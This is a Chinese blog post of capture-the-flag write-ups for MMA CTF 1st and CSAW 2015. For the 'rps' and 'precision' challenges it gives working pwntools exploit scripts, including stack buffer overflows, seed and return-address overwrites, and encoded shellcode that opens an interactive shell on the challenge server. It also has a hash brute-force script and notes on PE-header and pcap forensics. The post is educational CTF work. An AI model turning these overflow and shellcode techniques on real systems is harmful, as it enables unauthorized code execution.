mma ctf 1st && csaw 2015

  (很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。

  mma ctf 1st 之 rps:

 1 from socket import *
 2 s = socket(AF_INET, SOCK_STREAM)
 3 s.connect(('milkyway.chal.mmactf.link',1641))
 4 #s.connect(('127.0.0.1',10001))
 5 print s.recv(1024)
 6 
 7 payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
 8 s.send(payload)
 9 print s.recv(1024)
10 
11 rand=open("rand")#提前生成rand文件
12 for line in rand:
13     if(line.rstrip()=='1'):
14         s.send('S\n')
15         print s.recv(1024)
16     if(line.rstrip()=='2'):
17         s.send('R\n')
18         print s.recv(1024)
19     if(line.rstrip()=='0'):
20         s.send('P\n')
21         print s.recv(1024)
22 
23 print s.recv(1024)
24 print s.recv(1024)
25 rand.close()
26 s.close()

  flag:

  赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。

  poc1:

 1 from pwn import *
 2 from ctypes import *
 3  
 4 rps = 'RPS'
 5 libc = CDLL("libc.so.6")
 6 libc.srand(0x01010101);
 7  
 8 def getNextAnswer():
 9     comp = libc.rand()%3
10     mine = (comp + 1) %3
11     return rps[mine]
12 r = remote("milkyway.chal.mmactf.link", 1641)
13 nama = "A" * 0x30
14 nama += "\x01"*4
15 print r.recv()
16 print "Sending: " + str(nama)
17 r.send(str(nama) + "\n")
18 print r.recv()
19 for j in range(0, 50 ):
20     x = getNextAnswer()
21     print r.recv()
22     print "Sending: " + x + "\n"
23     r.send(x + "\n")
24     data = r.recv()
25     print data 
26 print r.recv() 
27 r.close()

  poc2:不同的思路

 1 from pwn import *
 2 import time
 3 context.binary=”rps”
 4 context.bits=64
 5 addr1=0x00000000006010e8
 6 addr2=0x00000000004008b4
 7 payload=”A”*80
 8 payload+=pack(addr1)
 9 payload+=pack(addr2)
10 p=remote(“milkyway.chal.mmactf.link”,1641)
11 msg=p.recvuntil(‘:’)
12 print msg
13 p.sendline(payload)
14 msg=p.recvlines(2)
15 print msg
16 p.sendline(“I”)
17 msg=p.recvall()
18 print msg

  mma ctf 1st 之 cannotberun:

  拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。

  flag:

  mma ctf 1st 之 splitted:

  wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。

  flag:

 

  赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了

  mma ctf 1st 之 simple_hash:

  这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。

  算法是一个

 1 import datetime
 2 import itertools
 3 import string
 4 target = 0x1E1EAB437EEB0
 5 mod = 0x38D7EA4C68025
 6 alphabet = string.ascii_letters + string.digits
 7 def crack(can):
 8     result = ''
 9     while(can>0):
10         q,r = divmod(can,577)
11         if r>=255:
12             return ''
13         if(chr(r) not in alphabet):
14             return ''
15         result = result + chr(r)
16         if len(result)>10:
17             return ''
18         can = q
19     return result
20 starttime = datetime.datetime.now()
21 for i in itertools.count():
22     if i%10000000==0:
23         print i
24     target += mod
25     key = crack(target)
26     if key != '':
27         print 'cool\n'
28         print ''.join(reversed(key))
29         break
30 endtime = datetime.datetime.now()
31 print (endtime - starttime).seconds

   csaw pwn precision

 1 from pwn import *
 2 r = remote('54.173.98.115', 1259)
 3 #r = remote('127.0.0.1',10001)
 4 ret = r.recv(1024)[-9:-1]
 5 print 'ret addr: %s' % ret
 6 ret = int(ret,16)
 7 retaddr = p32(ret)
 8 
 9 shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
10 shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
11 shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
12 shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c"
13 
14 payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr
15 
16 r.sendline(payload)
17 r.interactive()

 

posted @ 2015-12-10 22:56  简单地快乐  阅读(641)  评论(0编辑  收藏  举报